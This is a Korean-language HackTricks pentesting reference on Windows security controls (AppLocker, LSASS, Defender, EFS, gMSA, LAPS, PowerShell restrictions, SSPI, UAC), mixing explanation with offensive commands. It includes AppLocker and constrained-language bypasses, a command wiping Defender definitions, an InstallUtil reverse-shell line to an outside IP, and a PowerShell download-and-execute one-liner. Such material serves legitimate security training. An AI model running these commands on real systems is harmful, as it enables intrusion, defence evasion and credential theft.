Windows Security Controls

Tip

AWS ν•΄ν‚Ή 배우기 및 μ—°μŠ΅ν•˜κΈ°:HackTricks Training AWS Red Team Expert (ARTE)
GCP ν•΄ν‚Ή 배우기 및 μ—°μŠ΅ν•˜κΈ°: HackTricks Training GCP Red Team Expert (GRTE) Azure ν•΄ν‚Ή 배우기 및 μ—°μŠ΅ν•˜κΈ°: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks μ§€μ›ν•˜κΈ°

AppLocker Policy

μ• ν”Œλ¦¬μΌ€μ΄μ…˜ ν™”μ΄νŠΈλ¦¬μŠ€νŠΈλŠ” μ‹œμŠ€ν…œμ—μ„œ μ‘΄μž¬ν•˜κ³  싀행될 수 μžˆλŠ” 승인된 μ†Œν”„νŠΈμ›¨μ–΄ μ• ν”Œλ¦¬μΌ€μ΄μ…˜ λ˜λŠ” μ‹€ν–‰ 파일의 λͺ©λ‘μž…λ‹ˆλ‹€. λͺ©ν‘œλŠ” ν™˜κ²½μ„ μœ ν•΄ν•œ 맬웨어와 νŠΉμ • 쑰직의 λΉ„μ¦ˆλ‹ˆμŠ€ μš”κ΅¬μ— λ§žμ§€ μ•ŠλŠ” μŠΉμΈλ˜μ§€ μ•Šμ€ μ†Œν”„νŠΈμ›¨μ–΄λ‘œλΆ€ν„° λ³΄ν˜Έν•˜λŠ” κ²ƒμž…λ‹ˆλ‹€.

AppLockerλŠ” Microsoft의 μ• ν”Œλ¦¬μΌ€μ΄μ…˜ ν™”μ΄νŠΈλ¦¬μŠ€νŠΈ μ†”λ£¨μ…˜μœΌλ‘œ, μ‹œμŠ€ν…œ κ΄€λ¦¬μžκ°€ μ‚¬μš©μžκ°€ μ‹€ν–‰ν•  수 μžˆλŠ” μ• ν”Œλ¦¬μΌ€μ΄μ…˜ 및 νŒŒμΌμ„ μ œμ–΄ν•  수 있게 ν•΄μ€λ‹ˆλ‹€. μ΄λŠ” μ‹€ν–‰ 파일, 슀크립트, Windows μ„€μΉ˜ 파일, DLL, νŒ¨ν‚€μ§€ μ•± 및 νŒ¨ν‚€μ§€ μ•± μ„€μΉ˜ ν”„λ‘œκ·Έλž¨μ— λŒ€ν•œ 세뢀적인 μ œμ–΄λ₯Ό μ œκ³΅ν•©λ‹ˆλ‹€.
μ‘°μ§μ—μ„œ cmd.exe 및 PowerShell.exe와 νŠΉμ • 디렉터리에 λŒ€ν•œ μ“°κΈ° 접근을 μ°¨λ‹¨ν•˜λŠ” 것이 μΌλ°˜μ μ΄μ§€λ§Œ, μ΄λŠ” λͺ¨λ‘ 우회될 수 μžˆμŠ΅λ‹ˆλ‹€.

Check

λΈ”λž™λ¦¬μŠ€νŠΈ/ν™”μ΄νŠΈλ¦¬μŠ€νŠΈμ— μžˆλŠ” 파일/ν™•μž₯자λ₯Ό ν™•μΈν•˜μ„Έμš”:

Get-ApplockerPolicy -Effective -xml

Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections

$a = Get-ApplockerPolicy -effective
$a.rulecollections

이 λ ˆμ§€μŠ€νŠΈλ¦¬ κ²½λ‘œλŠ” AppLocker에 μ˜ν•΄ 적용된 ꡬ성 및 정책을 ν¬ν•¨ν•˜κ³  있으며, μ‹œμŠ€ν…œμ—μ„œ μ‹œν–‰λ˜λŠ” ν˜„μž¬ κ·œμΉ™ 집합을 κ²€ν† ν•  수 μžˆλŠ” 방법을 μ œκ³΅ν•©λ‹ˆλ‹€:

  • HKLM\Software\Policies\Microsoft\Windows\SrpV2

우회

  • AppLocker 정책을 μš°νšŒν•˜κΈ° μœ„ν•œ μœ μš©ν•œ μ“°κΈ° κ°€λŠ₯ν•œ 폴더: AppLockerκ°€ C:\Windows\System32 λ˜λŠ” C:\Windows λ‚΄μ˜ λͺ¨λ“  것을 μ‹€ν–‰ν•˜λ„λ‘ ν—ˆμš©ν•˜λŠ” 경우, 이λ₯Ό **μš°νšŒν•˜κΈ° μœ„ν•΄ μ‚¬μš©ν•  수 μžˆλŠ” μ“°κΈ° κ°€λŠ₯ν•œ 폴더가 μžˆμŠ΅λ‹ˆλ‹€.
C:\Windows\System32\Microsoft\Crypto\RSA\MachineKeys
C:\Windows\System32\spool\drivers\color
C:\Windows\Tasks
C:\windows\tracing
  • 일반적으둜 μ‹ λ’°ν•  수 μžˆλŠ” β€œLOLBAS’s” λ°”μ΄λ„ˆλ¦¬λŠ” AppLockerλ₯Ό μš°νšŒν•˜λŠ” 데 μœ μš©ν•  수 μžˆμŠ΅λ‹ˆλ‹€.
  • 잘λͺ» μž‘μ„±λœ κ·œμΉ™λ„ 우회될 수 μžˆμŠ΅λ‹ˆλ‹€.
  • 예λ₯Ό λ“€μ–΄, <FilePathCondition Path="%OSDRIVE%*\allowed*"/>, μ–΄λ””μ—λ‚˜ **allowed**λΌλŠ” 폴더λ₯Ό μƒμ„±ν•˜λ©΄ ν—ˆμš©λ©λ‹ˆλ‹€.
  • 쑰직은 μ’…μ’… %System32%\WindowsPowerShell\v1.0\powershell.exe μ‹€ν–‰ νŒŒμΌμ„ μ°¨λ‹¨ν•˜λŠ” 데 μ§‘μ€‘ν•˜μ§€λ§Œ, λ‹€λ₯Έ PowerShell μ‹€ν–‰ 파일 μœ„μΉ˜μΈ %SystemRoot%\SysWOW64\WindowsPowerShell\v1.0\powershell.exe λ˜λŠ” PowerShell_ISE.exeλ₯Ό μžŠμ–΄λ²„λ¦½λ‹ˆλ‹€.
  • DLL κ°•μ œ μ μš©μ€ μ‹œμŠ€ν…œμ— 좔가적인 λΆ€ν•˜λ₯Ό 쀄 수 있기 λ•Œλ¬Έμ— 맀우 λ“œλ¬Όκ²Œ ν™œμ„±ν™”λ©λ‹ˆλ‹€. λ”°λΌμ„œ λ°±λ„μ–΄λ‘œμ„œ DLL을 μ‚¬μš©ν•˜λŠ” 것이 AppLockerλ₯Ό μš°νšŒν•˜λŠ” 데 도움이 λ©λ‹ˆλ‹€.
  • ReflectivePick λ˜λŠ” SharpPickλ₯Ό μ‚¬μš©ν•˜μ—¬ Powershell μ½”λ“œλ₯Ό μ–΄λ–€ ν”„λ‘œμ„ΈμŠ€μ—μ„œλ“  μ‹€ν–‰ν•˜κ³  AppLockerλ₯Ό μš°νšŒν•  수 μžˆμŠ΅λ‹ˆλ‹€. μžμ„Έν•œ λ‚΄μš©μ€ λ‹€μŒμ„ ν™•μΈν•˜μ„Έμš”: https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode.

자격 증λͺ… μ €μž₯μ†Œ

λ³΄μ•ˆ 계정 κ΄€λ¦¬μž (SAM)

둜컬 자격 증λͺ…은 이 νŒŒμΌμ— μ‘΄μž¬ν•˜λ©°, λΉ„λ°€λ²ˆν˜ΈλŠ” ν•΄μ‹œ μ²˜λ¦¬λ©λ‹ˆλ‹€.

둜컬 λ³΄μ•ˆ κΆŒν•œ (LSA) - LSASS

자격 증λͺ…(ν•΄μ‹œ 처리됨)은 단일 둜그인 이유둜 이 ν•˜μœ„ μ‹œμŠ€ν…œμ˜ λ©”λͺ¨λ¦¬μ— μ €μž₯λ©λ‹ˆλ‹€.
LSAλŠ” 둜컬 λ³΄μ•ˆ μ •μ±…(λΉ„λ°€λ²ˆν˜Έ μ •μ±…, μ‚¬μš©μž κΆŒν•œ λ“±), 인증, μ•‘μ„ΈμŠ€ 토큰 등을 κ΄€λ¦¬ν•©λ‹ˆλ‹€.
LSAλŠ” SAM 파일 λ‚΄μ—μ„œ 제곡된 자격 증λͺ…을 ν™•μΈν•˜κ³  도메인 μ‚¬μš©μžλ₯Ό μΈμ¦ν•˜κΈ° μœ„ν•΄ 도메인 μ»¨νŠΈλ‘€λŸ¬μ™€ ν†΅μ‹ ν•©λ‹ˆλ‹€.

자격 증λͺ…은 ν”„λ‘œμ„ΈμŠ€ LSASS 내에 μ €μž₯λ©λ‹ˆλ‹€: Kerberos ν‹°μΌ“, NT 및 LM ν•΄μ‹œ, μ‰½κ²Œ λ³΅ν˜Έν™”λœ λΉ„λ°€λ²ˆν˜Έ.

LSA λΉ„λ°€

LSAλŠ” λ””μŠ€ν¬μ— 일뢀 자격 증λͺ…을 μ €μž₯ν•  수 μžˆμŠ΅λ‹ˆλ‹€:

  • Active Directory의 컴퓨터 계정 λΉ„λ°€λ²ˆν˜Έ (도달할 수 μ—†λŠ” 도메인 컨트둀러).
  • Windows μ„œλΉ„μŠ€ κ³„μ •μ˜ λΉ„λ°€λ²ˆν˜Έ
  • μ˜ˆμ•½λœ μž‘μ—…μ˜ λΉ„λ°€λ²ˆν˜Έ
  • 기타 (IIS μ• ν”Œλ¦¬μΌ€μ΄μ…˜μ˜ λΉ„λ°€λ²ˆν˜Έβ€¦)

NTDS.dit

Active Directory의 λ°μ΄ν„°λ² μ΄μŠ€μž…λ‹ˆλ‹€. 도메인 μ»¨νŠΈλ‘€λŸ¬μ—λ§Œ μ‘΄μž¬ν•©λ‹ˆλ‹€.

Defender

Microsoft DefenderλŠ” Windows 10 및 Windows 11, 그리고 Windows Server λ²„μ „μ—μ„œ μ‚¬μš©ν•  수 μžˆλŠ” μ•ˆν‹°λ°”μ΄λŸ¬μŠ€μž…λ‹ˆλ‹€. 일반적인 νŽœν…ŒμŠ€νŒ… 도ꡬ인 **WinPEAS**λ₯Ό μ°¨λ‹¨ν•©λ‹ˆλ‹€. κ·ΈλŸ¬λ‚˜ μ΄λŸ¬ν•œ 보호λ₯Ό μš°νšŒν•˜λŠ” 방법이 μžˆμŠ΅λ‹ˆλ‹€.

확인

Defender의 μƒνƒœλ₯Ό ν™•μΈν•˜λ €λ©΄ PS cmdlet **Get-MpComputerStatus**λ₯Ό μ‹€ν–‰ν•  수 μžˆμŠ΅λ‹ˆλ‹€ (ν™œμ„±ν™” μ—¬λΆ€λ₯Ό μ•ŒκΈ° μœ„ν•΄ RealTimeProtectionEnabled 값을 ν™•μΈν•˜μ„Έμš”):

PS C:\> Get-MpComputerStatus

[...]
AntispywareEnabled              : True
AntispywareSignatureAge         : 1
AntispywareSignatureLastUpdated : 12/6/2021 10:14:23 AM
AntispywareSignatureVersion     : 1.323.392.0
AntivirusEnabled                : True
[...]
NISEnabled                      : False
NISEngineVersion                : 0.0.0.0
[...]
RealTimeProtectionEnabled       : True
RealTimeScanDirection           : 0
PSComputerName                  :

μ—΄κ±°ν•˜λ €λ©΄ λ‹€μŒμ„ μ‹€ν–‰ν•  μˆ˜λ„ μžˆμŠ΅λ‹ˆλ‹€:

WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName /Format:List
wmic /namespace:\\root\securitycenter2 path antivirusproduct
sc query windefend

#Delete all rules of Defender (useful for machines without internet access)
"C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All

Encrypted File System (EFS)

EFSλŠ” λŒ€μΉ­ 킀인 **파일 μ•”ν˜Έν™” ν‚€ (FEK)**λ₯Ό μ‚¬μš©ν•˜μ—¬ νŒŒμΌμ„ μ•”ν˜Έν™”ν•˜μ—¬ λ³΄ν˜Έν•©λ‹ˆλ‹€. 이 ν‚€λŠ” μ‚¬μš©μžμ˜ 곡개 ν‚€λ‘œ μ•”ν˜Έν™”λ˜μ–΄ μ•”ν˜Έν™”λœ 파일의 $EFS λŒ€μ²΄ 데이터 μŠ€νŠΈλ¦Όμ— μ €μž₯λ©λ‹ˆλ‹€. λ³΅ν˜Έν™”κ°€ ν•„μš”ν•  λ•Œ, μ‚¬μš©μžμ˜ λ””μ§€ν„Έ μΈμ¦μ„œμ— ν•΄λ‹Ήν•˜λŠ” 개인 ν‚€λ₯Ό μ‚¬μš©ν•˜μ—¬ $EFS μŠ€νŠΈλ¦Όμ—μ„œ FEKλ₯Ό λ³΅ν˜Έν™”ν•©λ‹ˆλ‹€. 더 λ§Žμ€ μ„ΈλΆ€μ •λ³΄λŠ” μ—¬κΈ°μ—μ„œ 확인할 수 μžˆμŠ΅λ‹ˆλ‹€.

μ‚¬μš©μž κ°œμž… 없이 λ³΅ν˜Έν™”λ˜λŠ” μ‹œλ‚˜λ¦¬μ˜€λŠ” λ‹€μŒκ³Ό κ°™μŠ΅λ‹ˆλ‹€:

  • νŒŒμΌμ΄λ‚˜ 폴더가 FAT32와 같은 λΉ„ EFS 파일 μ‹œμŠ€ν…œμœΌλ‘œ 이동될 λ•Œ μžλ™μœΌλ‘œ λ³΅ν˜Έν™”λ©λ‹ˆλ‹€.
  • SMB/CIFS ν”„λ‘œν† μ½œμ„ 톡해 λ„€νŠΈμ›Œν¬λ‘œ μ „μ†‘λœ μ•”ν˜Έν™”λœ νŒŒμΌμ€ 전솑 전에 λ³΅ν˜Έν™”λ©λ‹ˆλ‹€.

이 μ•”ν˜Έν™” 방법은 μ†Œμœ μžμ—κ²Œ μ•”ν˜Έν™”λœ νŒŒμΌμ— λŒ€ν•œ 투λͺ…ν•œ 접근을 ν—ˆμš©ν•©λ‹ˆλ‹€. κ·ΈλŸ¬λ‚˜ μ†Œμœ μžμ˜ λΉ„λ°€λ²ˆν˜Έλ₯Ό λ‹¨μˆœνžˆ λ³€κ²½ν•˜κ³  λ‘œκ·ΈμΈν•˜λŠ” κ²ƒλ§ŒμœΌλ‘œλŠ” λ³΅ν˜Έν™”κ°€ ν—ˆμš©λ˜μ§€ μ•ŠμŠ΅λ‹ˆλ‹€.

μ£Όμš” μš”μ :

  • EFSλŠ” μ‚¬μš©μžμ˜ 곡개 ν‚€λ‘œ μ•”ν˜Έν™”λœ λŒ€μΉ­ FEKλ₯Ό μ‚¬μš©ν•©λ‹ˆλ‹€.
  • λ³΅ν˜Έν™”λŠ” μ‚¬μš©μžμ˜ 개인 ν‚€λ₯Ό μ‚¬μš©ν•˜μ—¬ FEK에 μ ‘κ·Όν•©λ‹ˆλ‹€.
  • FAT32둜 λ³΅μ‚¬ν•˜κ±°λ‚˜ λ„€νŠΈμ›Œν¬ 전솑과 같은 νŠΉμ • μ‘°κ±΄μ—μ„œ μžλ™ λ³΅ν˜Έν™”κ°€ λ°œμƒν•©λ‹ˆλ‹€.
  • μ•”ν˜Έν™”λœ νŒŒμΌμ€ μΆ”κ°€ 단계 없이 μ†Œμœ μžκ°€ μ ‘κ·Όν•  수 μžˆμŠ΅λ‹ˆλ‹€.

EFS 정보 확인

μ‚¬μš©μžκ°€ 이 μ„œλΉ„μŠ€λ₯Ό μ‚¬μš©ν–ˆλŠ”μ§€ ν™•μΈν•˜λ €λ©΄ 이 κ²½λ‘œκ°€ μ‘΄μž¬ν•˜λŠ”μ§€ ν™•μΈν•˜μ„Έμš”: C:\users\<username>\appdata\roaming\Microsoft\Protect

νŒŒμΌμ— μ ‘κ·Όν•  수 μžˆλŠ” μ‚¬λžŒμ„ ν™•μΈν•˜λ €λ©΄ cipher /c \<file>\λ₯Ό μ‚¬μš©ν•˜μ„Έμš”. λ˜ν•œ 폴더 λ‚΄μ—μ„œ cipher /e 및 cipher /dλ₯Ό μ‚¬μš©ν•˜μ—¬ λͺ¨λ“  νŒŒμΌμ„ μ•”ν˜Έν™”ν•˜κ³  λ³΅ν˜Έν™”ν•  수 μžˆμŠ΅λ‹ˆλ‹€.

EFS 파일 λ³΅ν˜Έν™”

κΆŒν•œ μ‹œμŠ€ν…œμ΄ 되기

이 방법은 ν”Όν•΄μž μ‚¬μš©μžκ°€ 호슀트 λ‚΄μ—μ„œ ν”„λ‘œμ„ΈμŠ€λ₯Ό μ‹€ν–‰ν•˜κ³  μžˆμ–΄μ•Ό ν•©λ‹ˆλ‹€. 그런 경우, meterpreter μ„Έμ…˜μ„ μ‚¬μš©ν•˜μ—¬ μ‚¬μš©μžμ˜ ν”„λ‘œμ„ΈμŠ€ 토큰을 κ°€μž₯ν•  수 μžˆμŠ΅λ‹ˆλ‹€ (incognito의 impersonate_token). λ˜λŠ” μ‚¬μš©μžμ˜ ν”„λ‘œμ„ΈμŠ€λ‘œ migrateν•  수 μžˆμŠ΅λ‹ˆλ‹€.

μ‚¬μš©μžμ˜ λΉ„λ°€λ²ˆν˜Έ μ•ŒκΈ°

howto ~ decrypt EFS files \xc2\xb7 gentilkiwi/mimikatz Wiki \xc2\xb7 GitHub

Group Managed Service Accounts (gMSA)

MicrosoftλŠ” IT μΈν”„λΌμ—μ„œ μ„œλΉ„μŠ€ 계정 관리λ₯Ό λ‹¨μˆœν™”ν•˜κΈ° μœ„ν•΄ **κ·Έλ£Ή 관리 μ„œλΉ„μŠ€ 계정 (gMSA)**λ₯Ό κ°œλ°œν–ˆμŠ΅λ‹ˆλ‹€. 전톡적인 μ„œλΉ„μŠ€ 계정은 μ’…μ’… β€œλΉ„λ°€λ²ˆν˜Έ 만료 μ•ˆ 함” 섀정이 ν™œμ„±ν™”λ˜μ–΄ μžˆλŠ” 반면, gMSAλŠ” 보닀 μ•ˆμ „ν•˜κ³  κ΄€λ¦¬ν•˜κΈ° μ‰¬μš΄ μ†”λ£¨μ…˜μ„ μ œκ³΅ν•©λ‹ˆλ‹€:

  • μžλ™ λΉ„λ°€λ²ˆν˜Έ 관리: gMSAλŠ” 도메인 λ˜λŠ” 컴퓨터 정책에 따라 μžλ™μœΌλ‘œ λ³€κ²½λ˜λŠ” λ³΅μž‘ν•œ 240자 λΉ„λ°€λ²ˆν˜Έλ₯Ό μ‚¬μš©ν•©λ‹ˆλ‹€. 이 과정은 Microsoft의 ν‚€ 배포 μ„œλΉ„μŠ€ (KDC)κ°€ μ²˜λ¦¬ν•˜μ—¬ μˆ˜λ™ λΉ„λ°€λ²ˆν˜Έ μ—…λ°μ΄νŠΈμ˜ ν•„μš”μ„±μ„ μ—†μ•±λ‹ˆλ‹€.
  • κ°•ν™”λœ λ³΄μ•ˆ: μ΄λŸ¬ν•œ 계정은 μž κΈˆμ— 면역이며 λŒ€ν™”ν˜• λ‘œκ·ΈμΈμ„ μœ„ν•΄ μ‚¬μš©ν•  수 μ—†μ–΄ λ³΄μ•ˆμ΄ κ°•ν™”λ©λ‹ˆλ‹€.
  • 닀쀑 호슀트 지원: gMSAλŠ” μ—¬λŸ¬ ν˜ΈμŠ€νŠΈμ—μ„œ κ³΅μœ ν•  수 μžˆμ–΄ μ—¬λŸ¬ μ„œλ²„μ—μ„œ μ‹€ν–‰λ˜λŠ” μ„œλΉ„μŠ€μ— μ ν•©ν•©λ‹ˆλ‹€.
  • μ˜ˆμ•½ μž‘μ—… κΈ°λŠ₯: 관리 μ„œλΉ„μŠ€ 계정과 달리 gMSAλŠ” μ˜ˆμ•½ μž‘μ—… 싀행을 μ§€μ›ν•©λ‹ˆλ‹€.
  • λ‹¨μˆœν™”λœ SPN 관리: μ‹œμŠ€ν…œμ€ μ»΄ν“¨ν„°μ˜ sAMaccount 세뢀정보 λ˜λŠ” DNS 이름에 변경이 μžˆμ„ λ•Œ μ„œλΉ„μŠ€ 주체 이름 (SPN)을 μžλ™μœΌλ‘œ μ—…λ°μ΄νŠΈν•˜μ—¬ SPN 관리λ₯Ό λ‹¨μˆœν™”ν•©λ‹ˆλ‹€.

gMSA의 λΉ„λ°€λ²ˆν˜ΈλŠ” LDAP 속성 _msDS-ManagedPassword_에 μ €μž₯되며 도메인 컨트둀러 (DC)에 μ˜ν•΄ 30μΌλ§ˆλ‹€ μžλ™μœΌλ‘œ μž¬μ„€μ •λ©λ‹ˆλ‹€. 이 λΉ„λ°€λ²ˆν˜ΈλŠ” MSDS-MANAGEDPASSWORD_BLOB둜 μ•Œλ €μ§„ μ•”ν˜Έν™”λœ 데이터 블둭이며, κΆŒν•œμ΄ μžˆλŠ” κ΄€λ¦¬μžμ™€ gMSAκ°€ μ„€μΉ˜λœ μ„œλ²„λ§Œ 검색할 수 μžˆμ–΄ μ•ˆμ „ν•œ ν™˜κ²½μ„ 보μž₯ν•©λ‹ˆλ‹€. 이 정보에 μ ‘κ·Όν•˜λ €λ©΄ LDAPS와 같은 λ³΄μ•ˆ 연결이 ν•„μš”ν•˜κ±°λ‚˜ ’Sealing & Secureβ€™λ‘œ 인증된 연결이어야 ν•©λ‹ˆλ‹€.

https://cube0x0.github.io/Relaying-for-gMSA/

이 λΉ„λ°€λ²ˆν˜ΈλŠ” GMSAPasswordReader둜 읽을 수 μžˆμŠ΅λ‹ˆλ‹€:

/GMSAPasswordReader --AccountName jkohler

이 κ²Œμ‹œλ¬Όμ—μ„œ 더 λ§Žμ€ 정보λ₯Ό μ°ΎμœΌμ„Έμš”

λ˜ν•œ, gMSA의 λΉ„λ°€λ²ˆν˜Έλ₯Ό 읽기 μœ„ν•΄ NTLM 릴레이 곡격을 μˆ˜ν–‰ν•˜λŠ” 방법에 λŒ€ν•œ μ›Ή νŽ˜μ΄μ§€λ₯Ό ν™•μΈν•˜μ„Έμš”.

LAPS

**둜컬 κ΄€λ¦¬μž λΉ„λ°€λ²ˆν˜Έ μ†”λ£¨μ…˜ (LAPS)**λŠ” Microsoftμ—μ„œ λ‹€μš΄λ‘œλ“œν•  수 있으며, 둜컬 κ΄€λ¦¬μž λΉ„λ°€λ²ˆν˜Έ 관리λ₯Ό κ°€λŠ₯ν•˜κ²Œ ν•©λ‹ˆλ‹€. 이 λΉ„λ°€λ²ˆν˜ΈλŠ” λ¬΄μž‘μœ„ν™”λ˜κ³ , κ³ μœ ν•˜λ©°, μ •κΈ°μ μœΌλ‘œ λ³€κ²½λ˜λ©°, Active Directory에 쀑앙 μ§‘μ€‘μ‹μœΌλ‘œ μ €μž₯λ©λ‹ˆλ‹€. μ΄λŸ¬ν•œ λΉ„λ°€λ²ˆν˜Έμ— λŒ€ν•œ 접근은 ACL을 톡해 κΆŒν•œμ΄ μžˆλŠ” μ‚¬μš©μžλ‘œ μ œν•œλ©λ‹ˆλ‹€. μΆ©λΆ„ν•œ κΆŒν•œμ΄ λΆ€μ—¬λ˜λ©΄ 둜컬 κ΄€λ¦¬μž λΉ„λ°€λ²ˆν˜Έλ₯Ό 읽을 수 μžˆλŠ” κΈ°λŠ₯이 μ œκ³΅λ©λ‹ˆλ‹€.

LAPS

PS μ œμ•½ μ–Έμ–΄ λͺ¨λ“œ

PowerShell μ œμ•½ μ–Έμ–΄ λͺ¨λ“œλŠ” COM 객체 차단, 승인된 .NET μœ ν˜•λ§Œ ν—ˆμš©, XAML 기반 μ›Œν¬ν”Œλ‘œ, PowerShell 클래슀 λ“± PowerShell을 효과적으둜 μ‚¬μš©ν•˜κΈ° μœ„ν•΄ ν•„μš”ν•œ λ§Žμ€ κΈ°λŠ₯을 μ œν•œν•©λ‹ˆλ‹€.

확인

$ExecutionContext.SessionState.LanguageMode
#Values could be: FullLanguage or ConstrainedLanguage

우회

#Easy bypass
Powershell -version 2

ν˜„μž¬ Windowsμ—μ„œλŠ” 이 우회 방법이 μž‘λ™ν•˜μ§€ μ•Šμ§€λ§Œ PSByPassCLMλ₯Ό μ‚¬μš©ν•  수 μžˆμŠ΅λ‹ˆλ‹€.
μ»΄νŒŒμΌν•˜λ €λ©΄ λ‹€μŒμ΄ ν•„μš”ν•  수 μžˆμŠ΅λ‹ˆλ‹€ μ°Έμ‘° μΆ”κ°€ -> 찾아보기 -> 찾아보기 -> C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0\31bf3856ad364e35\System.Management.Automation.dll을 μΆ”κ°€ν•˜κ³  ν”„λ‘œμ νŠΈλ₯Ό .Net4.5둜 λ³€κ²½ν•˜μ‹­μ‹œμ˜€.

직접 우회:

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=true /U c:\temp\psby.exe

λ¦¬λ²„μŠ€ μ…Έ:

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=true /revshell=true /rhost=10.10.13.206 /rport=443 /U c:\temp\psby.exe

ReflectivePick λ˜λŠ” SharpPickλ₯Ό μ‚¬μš©ν•˜μ—¬ Powershell μ½”λ“œλ₯Ό λͺ¨λ“  ν”„λ‘œμ„ΈμŠ€μ—μ„œ μ‹€ν–‰ν•˜κ³  μ œν•œλœ λͺ¨λ“œλ₯Ό μš°νšŒν•  수 μžˆμŠ΅λ‹ˆλ‹€. μžμ„Έν•œ λ‚΄μš©μ€ λ‹€μŒμ„ ν™•μΈν•˜μ„Έμš”: https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode.

PS μ‹€ν–‰ μ •μ±…

기본적으둜 μ œν•œλ¨μœΌλ‘œ μ„€μ •λ˜μ–΄ μžˆμŠ΅λ‹ˆλ‹€. 이 정책을 μš°νšŒν•˜λŠ” μ£Όμš” 방법:

1ΒΊ Just copy and paste inside the interactive PS console
2ΒΊ Read en Exec
Get-Content .runme.ps1 | PowerShell.exe -noprofile -
3ΒΊ Read and Exec
Get-Content .runme.ps1 | Invoke-Expression
4ΒΊ Use other execution policy
PowerShell.exe -ExecutionPolicy Bypass -File .runme.ps1
5ΒΊ Change users execution policy
Set-Executionpolicy -Scope CurrentUser -ExecutionPolicy UnRestricted
6ΒΊ Change execution policy for this session
Set-ExecutionPolicy Bypass -Scope Process
7ΒΊ Download and execute:
powershell -nop -c "iex(New-Object Net.WebClient).DownloadString('http://bit.ly/1kEgbuH')"
8ΒΊ Use command switch
Powershell -command "Write-Host 'My voice is my passport, verify me.'"
9ΒΊ Use EncodeCommand
$command = "Write-Host 'My voice is my passport, verify me.'" $bytes = [System.Text.Encoding]::Unicode.GetBytes($command) $encodedCommand = [Convert]::ToBase64String($bytes) powershell.exe -EncodedCommand $encodedCommand

더 λ§Žμ€ λ‚΄μš©μ€ μ—¬κΈ°μ—μ„œ 확인할 수 μžˆμŠ΅λ‹ˆλ‹€.

λ³΄μ•ˆ 지원 κ³΅κΈ‰μž μΈν„°νŽ˜μ΄μŠ€ (SSPI)

μ‚¬μš©μžλ₯Ό μΈμ¦ν•˜λŠ” 데 μ‚¬μš©ν•  수 μžˆλŠ” APIμž…λ‹ˆλ‹€.

SSPIλŠ” ν†΅μ‹ ν•˜λ €λŠ” 두 머신에 μ ν•©ν•œ ν”„λ‘œν† μ½œμ„ μ°ΎλŠ” 역할을 ν•©λ‹ˆλ‹€. 이λ₯Ό μœ„ν•œ μ„ ν˜Έ 방법은 Kerberosμž…λ‹ˆλ‹€. 그런 λ‹€μŒ SSPIλŠ” μ‚¬μš©ν•  인증 ν”„λ‘œν† μ½œμ„ ν˜‘μƒν•˜λ©°, μ΄λŸ¬ν•œ 인증 ν”„λ‘œν† μ½œμ€ λ³΄μ•ˆ 지원 κ³΅κΈ‰μž(SSP)라고 ν•˜λ©°, 각 Windows λ¨Έμ‹  λ‚΄μ—μ„œ DLL ν˜•νƒœλ‘œ μ‘΄μž¬ν•˜κ³  두 λ¨Έμ‹  λͺ¨λ‘ λ™μΌν•œ ν”„λ‘œν† μ½œμ„ 지원해야 톡신할 수 μžˆμŠ΅λ‹ˆλ‹€.

μ£Όμš” SSP

  • Kerberos: μ„ ν˜Έλ˜λŠ” ν”„λ‘œν† μ½œ
  • %windir%\Windows\System32\kerberos.dll
  • NTLMv1 및 NTLMv2: ν˜Έν™˜μ„± 이유
  • %windir%\Windows\System32\msv1_0.dll
  • Digest: μ›Ή μ„œλ²„ 및 LDAP, MD5 ν•΄μ‹œ ν˜•νƒœμ˜ λΉ„λ°€λ²ˆν˜Έ
  • %windir%\Windows\System32\Wdigest.dll
  • Schannel: SSL 및 TLS
  • %windir%\Windows\System32\Schannel.dll
  • Negotiate: μ‚¬μš©ν•  ν”„λ‘œν† μ½œμ„ ν˜‘μƒν•˜λŠ” 데 μ‚¬μš©λ©λ‹ˆλ‹€ (Kerberos λ˜λŠ” NTLM, 기본값은 Kerberos)
  • %windir%\Windows\System32\lsasrv.dll

ν˜‘μƒμ€ μ—¬λŸ¬ 방법을 μ œκ³΅ν•  수 μžˆκ±°λ‚˜ ν•˜λ‚˜λ§Œ μ œκ³΅ν•  수 μžˆμŠ΅λ‹ˆλ‹€.

UAC - μ‚¬μš©μž 계정 컨트둀

μ‚¬μš©μž 계정 컨트둀 (UAC)λŠ” 승격된 ν™œλ™μ— λŒ€ν•œ λ™μ˜ ν”„λ‘¬ν”„νŠΈλ₯Ό ν™œμ„±ν™”ν•˜λŠ” κΈ°λŠ₯μž…λ‹ˆλ‹€.

UAC - User Account Control

Tip

AWS ν•΄ν‚Ή 배우기 및 μ—°μŠ΅ν•˜κΈ°:HackTricks Training AWS Red Team Expert (ARTE)
GCP ν•΄ν‚Ή 배우기 및 μ—°μŠ΅ν•˜κΈ°: HackTricks Training GCP Red Team Expert (GRTE) Azure ν•΄ν‚Ή 배우기 및 μ—°μŠ΅ν•˜κΈ°: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks μ§€μ›ν•˜κΈ°